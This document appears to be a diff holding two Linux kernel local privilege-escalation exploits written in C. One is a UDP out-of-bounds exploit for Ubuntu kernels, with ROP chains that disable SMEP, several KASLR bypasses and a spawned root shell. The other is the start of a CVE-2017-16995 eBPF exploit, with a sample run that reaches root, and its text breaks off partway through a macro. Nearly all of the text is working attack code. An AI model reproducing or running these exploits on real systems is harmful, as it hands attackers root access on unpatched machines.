||||
asm volatile (" \n\
|
||||
payload: \n\
|
||||
movq %%rbp, %%rax \n\
|
||||
movq $0xffffffff00000000, %%rdx \n\
|
||||
andq %%rdx, %%rax \n\
|
||||
movq %0, %%rdx \n\
|
||||
addq %%rdx, %%rax \n\
|
||||
movq %%rax, %%rsp \n\
|
||||
call get_root \n\
|
||||
ret \n\
|
||||
" : : "m"(saved_esp) : );
|
||||
}
|
||||
|
||||
void payload();
|
||||
|
||||
#define CHAIN_SAVE_ESP \
|
||||
*stack++ = POP_RDI_RET; \
|
||||
*stack++ = (uint64_t)&saved_esp; \
|
||||
*stack++ = MOV_DWORD_PTR_RDI_EAX_RET;
|
||||
|
||||
#define SMEP_MASK 0x100000
|
||||
|
||||
#define CHAIN_DISABLE_SMEP \
|
||||
*stack++ = MOV_RAX_CR4_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = SMEP_MASK; \
|
||||
*stack++ = OR_RAX_RCX_RET; \
|
||||
*stack++ = NEG_RAX_RET; \
|
||||
*stack++ = XCHG_EAX_EDI_RET; \
|
||||
*stack++ = MOV_CR4_RDI_RET;
|
||||
|
||||
#define CHAIN_JMP_PAYLOAD \
|
||||
*stack++ = POP_RCX_RET; \
|
||||
*stack++ = (uint64_t)&payload; \
|
||||
*stack++ = JMP_RCX;
|
||||
|
||||
void mmap_stack() {
|
||||
uint64_t stack_aligned, stack_addr;
|
||||
int page_size, stack_size, stack_offset;
|
||||
uint64_t* stack;
|
||||
|
||||
page_size = getpagesize();
|
||||
|
||||
stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1);
|
||||
stack_addr = stack_aligned - page_size * 4;
|
||||
stack_size = page_size * 8;
|
||||
stack_offset = XCHG_EAX_ESP_RET % page_size;
|
||||
|
||||
stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE,
|
||||
MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
|
||||
if (stack == MAP_FAILED || stack != (void*)stack_addr) {
|
||||
dprintf("[-] mmap()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
stack = (uint64_t*)((char*)stack_aligned + stack_offset);
|
||||
|
||||
CHAIN_SAVE_ESP;
|
||||
CHAIN_DISABLE_SMEP;
|
||||
CHAIN_JMP_PAYLOAD;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *
|
||||
|
||||
struct ubuf_info {
|
||||
uint64_t callback; // void (*callback)(struct ubuf_info *, bool)
|
||||
uint64_t ctx; // void *
|
||||
uint64_t desc; // unsigned long
|
||||
};
|
||||
|
||||
struct skb_shared_info {
|
||||
uint8_t nr_frags; // unsigned char
|
||||
uint8_t tx_flags; // __u8
|
||||
uint16_t gso_size; // unsigned short
|
||||
uint16_t gso_segs; // unsigned short
|
||||
uint16_t gso_type; // unsigned short
|
||||
uint64_t frag_list; // struct sk_buff *
|
||||
uint64_t hwtstamps; // struct skb_shared_hwtstamps
|
||||
uint32_t tskey; // u32
|
||||
uint32_t ip6_frag_id; // __be32
|
||||
uint32_t dataref; // atomic_t
|
||||
uint64_t destructor_arg; // void *
|
||||
uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS];
|
||||
};
|
||||
|
||||
struct ubuf_info ui;
|
||||
|
||||
void init_skb_buffer(char* buffer, unsigned long func) {
|
||||
struct skb_shared_info* ssi = (struct skb_shared_info*)buffer;
|
||||
memset(ssi, 0, sizeof(*ssi));
|
||||
|
||||
ssi->tx_flags = 0xff;
|
||||
ssi->destructor_arg = (uint64_t)&ui;
|
||||
ssi->nr_frags = 0;
|
||||
ssi->frag_list = 0;
|
||||
|
||||
ui.callback = func;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define SHINFO_OFFSET 3164
|
||||
|
||||
void oob_execute(unsigned long payload) {
|
||||
char buffer[4096];
|
||||
memset(&buffer[0], 0x42, 4096);
|
||||
init_skb_buffer(&buffer[SHINFO_OFFSET], payload);
|
||||
|
||||
int s = socket(PF_INET, SOCK_DGRAM, 0);
|
||||
if (s == -1) {
|
||||
dprintf("[-] socket()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
struct sockaddr_in addr;
|
||||
memset(&addr, 0, sizeof(addr));
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(8000);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
|
||||
if (connect(s, (void*)&addr, sizeof(addr))) {
|
||||
dprintf("[-] connect()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);
|
||||
int rv = send(s, buffer, size, MSG_MORE);
|
||||
if (rv != size) {
|
||||
dprintf("[-] send()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
int val = 1;
|
||||
rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));
|
||||
if (rv != 0) {
|
||||
dprintf("[-] setsockopt(SO_NO_CHECK)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
send(s, buffer, 1, 0);
|
||||
|
||||
close(s);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * *
|
||||
|
||||
#define CHUNK_SIZE 1024
|
||||
|
||||
int read_file(const char* file, char* buffer, int max_length) {
|
||||
int f = open(file, O_RDONLY);
|
||||
if (f == -1)
|
||||
return -1;
|
||||
int bytes_read = 0;
|
||||
while (true) {
|
||||
int bytes_to_read = CHUNK_SIZE;
|
||||
if (bytes_to_read > max_length - bytes_read)
|
||||
bytes_to_read = max_length - bytes_read;
|
||||
int rv = read(f, &buffer[bytes_read], bytes_to_read);
|
||||
if (rv == -1)
|
||||
return -1;
|
||||
bytes_read += rv;
|
||||
if (rv == 0)
|
||||
return bytes_read;
|
||||
}
|
||||
}
|
||||
|
||||
#define LSB_RELEASE_LENGTH 1024
|
||||
|
||||
void get_distro_codename(char* output, int max_length) {
|
||||
char buffer[LSB_RELEASE_LENGTH];
|
||||
char* path = "/etc/lsb-release";
|
||||
int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
const char *needle = "DISTRIB_CODENAME=";
|
||||
int needle_length = strlen(needle);
|
||||
char* found = memmem(&buffer[0], length, needle, needle_length);
|
||||
if (found == NULL) {
|
||||
dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != '\n'; i++) {
|
||||
if (i >= max_length) {
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if ((found - &buffer[0]) + needle_length + i >= length) {
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
output[i] = found[needle_length + i];
|
||||
}
|
||||
}
|
||||
|
||||
struct utsname get_kernel_version() {
|
||||
struct utsname u;
|
||||
int rv = uname(&u);
|
||||
if (rv != 0) {
|
||||
dprintf("[-] uname()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
return u;
|
||||
}
|
||||
|
||||
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
|
||||
|
||||
#define DISTRO_CODENAME_LENGTH 32
|
||||
|
||||
void detect_kernel() {
|
||||
char codename[DISTRO_CODENAME_LENGTH];
|
||||
struct utsname u;
|
||||
|
||||
u = get_kernel_version();
|
||||
|
||||
if (strstr(u.machine, "64") == NULL) {
|
||||
dprintf("[-] system is not using a 64-bit kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "-Ubuntu") == NULL) {
|
||||
dprintf("[-] system is not using an Ubuntu kernel\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (strstr(u.version, "14.04.1")) {
|
||||
strcpy(&codename[0], "trusty");
|
||||
} else if (strstr(u.version, "16.04.1")) {
|
||||
strcpy(&codename[0], "xenial");
|
||||
} else {
|
||||
get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH);
|
||||
|
||||
// Linux Mint kernel release mappings
|
||||
if (!strcmp(&codename[0], "qiana"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rebecca"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rafaela"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "rosa"))
|
||||
strcpy(&codename[0], "trusty");
|
||||
if (!strcmp(&codename[0], "sarah"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
if (!strcmp(&codename[0], "serena"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
if (!strcmp(&codename[0], "sonya"))
|
||||
strcpy(&codename[0], "xenial");
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i < ARRAY_SIZE(kernels); i++) {
|
||||
if (strcmp(&codename[0], kernels[i].distro) == 0 &&
|
||||
strcmp(u.release, kernels[i].version) == 0) {
|
||||
dprintf("[.] kernel version '%s' detected\n", kernels[i].version);
|
||||
kernel = i;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[-] kernel version not recognized\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#define PROC_CPUINFO_LENGTH 4096
|
||||
|
||||
// 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP
|
||||
int smap_smep_enabled() {
|
||||
char buffer[PROC_CPUINFO_LENGTH];
|
||||
char* path = "/proc/cpuinfo";
|
||||
int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH);
|
||||
if (length == -1) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
int rv = 0;
|
||||
char* found = memmem(&buffer[0], length, "smep", 4);
|
||||
if (found != NULL)
|
||||
rv += 1;
|
||||
found = memmem(&buffer[0], length, "smap", 4);
|
||||
if (found != NULL)
|
||||
rv += 2;
|
||||
return rv;
|
||||
}
|
||||
|
||||
void check_smep_smap() {
|
||||
int rv = smap_smep_enabled();
|
||||
if (rv >= 2) {
|
||||
dprintf("[-] SMAP detected, no bypass available\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#if !ENABLE_SMEP_BYPASS
|
||||
if (rv >= 1) {
|
||||
dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
#define SYSLOG_ACTION_READ_ALL 3
|
||||
#define SYSLOG_ACTION_SIZE_BUFFER 10
|
||||
|
||||
bool mmap_syslog(char** buffer, int* size) {
|
||||
*size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
*size = (*size / getpagesize() + 1) * getpagesize();
|
||||
*buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE,
|
||||
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
|
||||
|
||||
*size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size);
|
||||
if (*size == -1) {
|
||||
dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n");
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_trusty(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (end = start; substr[end] != '-'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) return 0;
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xffffffffff000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_xenial(char* buffer, int size) {
|
||||
const char* needle1 = "Freeing unused";
|
||||
char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
int start = 0;
|
||||
int end = 0;
|
||||
for (start = 0; substr[start] != '-'; start++);
|
||||
for (end = start; substr[end] != '\n'; end++);
|
||||
|
||||
const char* needle2 = "ffffff";
|
||||
substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2));
|
||||
if (substr == NULL) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
char* endptr = &substr[16];
|
||||
unsigned long r = strtoul(&substr[0], &endptr, 16);
|
||||
|
||||
r &= 0xfffffffffff00000ul;
|
||||
r -= 0x1000000ul;
|
||||
|
||||
return r;
|
||||
}
|
||||
|
||||
unsigned long get_kernel_addr_syslog() {
|
||||
unsigned long addr = 0;
|
||||
char* syslog;
|
||||
int size;
|
||||
|
||||
dprintf("[.] trying syslog...\n");
|
||||
|
||||
if (!mmap_syslog(&syslog, &size))
|
||||
return 0;
|
||||
|
||||
if (strcmp("trusty", kernels[kernel].distro) == 0)
|
||||
addr = get_kernel_addr_trusty(syslog, size);
|
||||
if (strcmp("xenial", kernels[kernel].distro) == 0)
|
||||
addr = get_kernel_addr_xenial(syslog, size);
|
||||
|
||||
if (!addr)
|
||||
dprintf("[-] kernel base not found in syslog\n");
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_kallsyms() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
char* path = "/proc/kallsyms";
|
||||
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_sysmap() {
|
||||
FILE *f;
|
||||
unsigned long addr = 0;
|
||||
char path[512] = "/boot/System.map-";
|
||||
char version[32];
|
||||
|
||||
struct utsname u;
|
||||
u = get_kernel_version();
|
||||
strcat(path, u.release);
|
||||
dprintf("[.] trying %s...\n", path);
|
||||
f = fopen(path, "r");
|
||||
if (f == NULL) {
|
||||
dprintf("[-] open/read(%s)\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
char dummy;
|
||||
char sname[256];
|
||||
char* name = "startup_64";
|
||||
int ret = 0;
|
||||
while (ret != EOF) {
|
||||
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
|
||||
if (ret == 0) {
|
||||
fscanf(f, "%s\n", sname);
|
||||
continue;
|
||||
}
|
||||
if (!strcmp(name, sname)) {
|
||||
fclose(f);
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(f);
|
||||
dprintf("[-] kernel base not found in %s\n", path);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr_mincore() {
|
||||
unsigned char buf[getpagesize()/sizeof(unsigned char)];
|
||||
unsigned long iterations = 20000000;
|
||||
unsigned long addr = 0;
|
||||
|
||||
dprintf("[.] trying mincore info leak...\n");
|
||||
/* A MAP_ANONYMOUS | MAP_HUGETLB mapping */
|
||||
if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE,
|
||||
MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) {
|
||||
dprintf("[-] mmap()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int i;
|
||||
for (i = 0; i <= iterations; i++) {
|
||||
/* Touch a mishandle with this type mapping */
|
||||
if (mincore((void*)0x86000000, 0x1000000, buf)) {
|
||||
dprintf("[-] mincore()\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int n;
|
||||
for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) {
|
||||
addr = *(unsigned long*)(&buf[n]);
|
||||
/* Kernel address space */
|
||||
if (addr > 0xffffffff00000000) {
|
||||
addr &= 0xffffffffff000000ul;
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
return addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (munmap((void*)0x66000000, 0x20000000000))
|
||||
dprintf("[-] munmap()\n");
|
||||
|
||||
dprintf("[-] kernel base not found in mincore info leak\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * *
|
||||
|
||||
unsigned long get_kernel_addr() {
|
||||
unsigned long addr = 0;
|
||||
|
||||
addr = get_kernel_addr_kallsyms();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_sysmap();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_syslog();
|
||||
if (addr) return addr;
|
||||
|
||||
addr = get_kernel_addr_mincore();
|
||||
if (addr) return addr;
|
||||
|
||||
dprintf("[-] KASLR bypass failed\n");
|
||||
exit(EXIT_FAILURE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *
|
||||
|
||||
static bool write_file(const char* file, const char* what, ...) {
|
||||
char buf[1024];
|
||||
va_list args;
|
||||
va_start(args, what);
|
||||
vsnprintf(buf, sizeof(buf), what, args);
|
||||
va_end(args);
|
||||
buf[sizeof(buf) - 1] = 0;
|
||||
int len = strlen(buf);
|
||||
|
||||
int fd = open(file, O_WRONLY | O_CLOEXEC);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
if (write(fd, buf, len) != len) {
|
||||
close(fd);
|
||||
return false;
|
||||
}
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void setup_sandbox() {
|
||||
int real_uid = getuid();
|
||||
int real_gid = getgid();
|
||||
|
||||
if (unshare(CLONE_NEWUSER) != 0) {
|
||||
dprintf("[!] unprivileged user namespaces are not available\n");
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (unshare(CLONE_NEWNET) != 0) {
|
||||
dprintf("[-] unshare(CLONE_NEWUSER)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (!write_file("/proc/self/setgroups", "deny")) {
|
||||
dprintf("[-] write_file(/proc/self/set_groups)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
|
||||
dprintf("[-] write_file(/proc/self/uid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
|
||||
dprintf("[-] write_file(/proc/self/gid_map)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
cpu_set_t my_set;
|
||||
CPU_ZERO(&my_set);
|
||||
CPU_SET(0, &my_set);
|
||||
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
|
||||
dprintf("[-] sched_setaffinity()\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (system("/sbin/ifconfig lo mtu 1500") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (system("/sbin/ifconfig lo up") != 0) {
|
||||
dprintf("[-] system(/sbin/ifconfig lo up)\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
}
|
||||
|
||||
void exec_shell() {
|
||||
int fd;
|
||||
|
||||
fd = open("/proc/1/ns/net", O_RDONLY);
|
||||
if (fd == -1) {
|
||||
dprintf("error opening /proc/1/ns/net\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setns(fd, CLONE_NEWNET) == -1) {
|
||||
dprintf("error calling setns\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
system(SHELL);
|
||||
}
|
||||
|
||||
bool is_root() {
|
||||
// We can't simple check uid, since we're running inside a namespace
|
||||
// with uid set to 0. Try opening /etc/shadow instead.
|
||||
int fd = open("/etc/shadow", O_RDONLY);
|
||||
if (fd == -1)
|
||||
return false;
|
||||
close(fd);
|
||||
return true;
|
||||
}
|
||||
|
||||
void check_root() {
|
||||
dprintf("[.] checking if we got root\n");
|
||||
if (!is_root()) {
|
||||
dprintf("[-] something went wrong =(\n");
|
||||
return;
|
||||
}
|
||||
dprintf("[+] got r00t ^_^\n");
|
||||
exec_shell();
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
if (argc > 1) SHELL = argv[1];
|
||||
|
||||
dprintf("[.] starting\n");
|
||||
|
||||
dprintf("[.] checking kernel version\n");
|
||||
detect_kernel();
|
||||
dprintf("[~] done, version looks good\n");
|
||||
|
||||
dprintf("[.] checking SMEP and SMAP\n");
|
||||
check_smep_smap();
|
||||
dprintf("[~] done, looks good\n");
|
||||
|
||||
dprintf("[.] setting up namespace sandbox\n");
|
||||
setup_sandbox();
|
||||
dprintf("[~] done, namespace sandbox set up\n");
|
||||
|
||||
#if ENABLE_KASLR_BYPASS
|
||||
dprintf("[.] KASLR bypass enabled, getting kernel addr\n");
|
||||
KERNEL_BASE = get_kernel_addr();
|
||||
dprintf("[~] done, kernel addr: %lx\n", KERNEL_BASE);
|
||||
#endif
|
||||
|
||||
dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS);
|
||||
dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED);
|
||||
|
||||
unsigned long payload = (unsigned long)&get_root;
|
||||
|
||||
#if ENABLE_SMEP_BYPASS
|
||||
dprintf("[.] SMEP bypass enabled, mmapping fake stack\n");
|
||||
mmap_stack();
|
||||
payload = XCHG_EAX_ESP_RET;
|
||||
dprintf("[~] done, fake stack mmapped\n");
|
||||
#endif
|
||||
|
||||
dprintf("[.] executing payload %lx\n", payload);
|
||||
oob_execute(payload);
|
||||
dprintf("[~] done, should be root now\n");
|
||||
|
||||
check_root();
|
||||
|
||||
return 0;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,496 @@
|
|||
/*
|
||||
Credit @bleidl, this is a slight modification to his original POC
|
||||
https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c
|
||||
|
||||
For details on how the exploit works, please visit
|
||||
https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
|
||||
|
||||
Tested on Ubuntu 16.04 with the following Kernels
|
||||
4.4.0-31-generic
|
||||
4.4.0-62-generic
|
||||
4.4.0-81-generic
|
||||
4.4.0-116-generic
|
||||
4.8.0-58-generic
|
||||
4.10.0.42-generic
|
||||
4.13.0-21-generic
|
||||
|
||||
Tested on Fedora 27
|
||||
4.13.9-300
|
||||
gcc cve-2017-16995.c -o cve-2017-16995
|
||||
internet@client:~/cve-2017-16995$ ./cve-2017-16995
|
||||
[.]
|
||||
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
|
||||
[.]
|
||||
[.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
|
||||
[.]
|
||||
[*] creating bpf map
|
||||
[*] sneaking evil bpf past the verifier
|
||||
[*] creating socketpair()
|
||||
[*] attaching bpf backdoor to socket
|
||||
[*] skbuff => ffff880038c3f500
|
||||
[*] Leaking sock struct from ffff88003af5e180
|
||||
[*] Sock->sk_rcvtimeo at offset 472
|
||||
[*] Cred structure at ffff880038704600
|
||||
[*] UID from cred structure: 1000, matches the current: 1000
|
||||
[*] hammering cred structure at ffff880038704600
|
||||
[*] credentials patched, launching shell...
|
||||
#id
|
||||
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet)
|
||||
|
||||
*/
|
||||
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/unistd.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/un.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/personality.h>
|
||||
|
||||
char buffer[64];
|
||||
int sockets[2];
|
||||
int mapfd, progfd;
|
||||
int doredact = 0;
|
||||
|
||||
#define LOG_BUF_SIZE 65536
|
||||
#define PHYS_OFFSET 0xffff880000000000
|
||||
char bpf_log_buf[LOG_BUF_SIZE];
|
||||
|
||||
static __u64 ptr_to_u64(void *ptr)
|
||||
{
|
||||
return (__u64) (unsigned long) ptr;
|
||||
}
|
||||
|
||||
int bpf_prog_load(enum bpf_prog_type prog_type,
|
||||
const struct bpf_insn *insns, int prog_len,
|
||||
const char *license, int kern_version)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.prog_type = prog_type,
|
||||
.insns = ptr_to_u64((void *) insns),
|
||||
.insn_cnt = prog_len / sizeof(struct bpf_insn),
|
||||
.license = ptr_to_u64((void *) license),
|
||||
.log_buf = ptr_to_u64(bpf_log_buf),
|
||||
.log_size = LOG_BUF_SIZE,
|
||||
.log_level = 1,
|
||||
};
|
||||
|
||||
attr.kern_version = kern_version;
|
||||
|
||||
bpf_log_buf[0] = 0;
|
||||
|
||||
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
|
||||
int max_entries, int map_flags)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_type = map_type,
|
||||
.key_size = key_size,
|
||||
.value_size = value_size,
|
||||
.max_entries = max_entries
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_fd = fd,
|
||||
.key = ptr_to_u64(key),
|
||||
.value = ptr_to_u64(value),
|
||||
.flags = flags,
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
int bpf_lookup_elem(int fd, void *key, void *value)
|
||||
{
|
||||
union bpf_attr attr = {
|
||||
.map_fd = fd,
|
||||
.key = ptr_to_u64(key),
|
||||
.value = ptr_to_u64(value),
|
||||
};
|
||||
|
||||
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
|
||||
}
|
||||
|
||||
#define BPF_ALU64_IMM(OP, DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_MOV64_REG(DST, SRC) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_MOV32_REG(DST, SRC) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU | BPF_MOV | BPF_X, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = SRC, \
|
||||
.off = 0, \
|
||||
.imm = 0 })
|
||||
|
||||
#define BPF_MOV64_IMM(DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
.src_reg = 0, \
|
||||
.off = 0, \
|
||||
.imm = IMM })
|
||||
|
||||
#define BPF_MOV32_IMM(DST, IMM) \
|
||||
((struct bpf_insn) { \
|
||||
.code = BPF_ALU | BPF_MOV | BPF_K, \
|
||||
.dst_reg = DST, \
|
||||
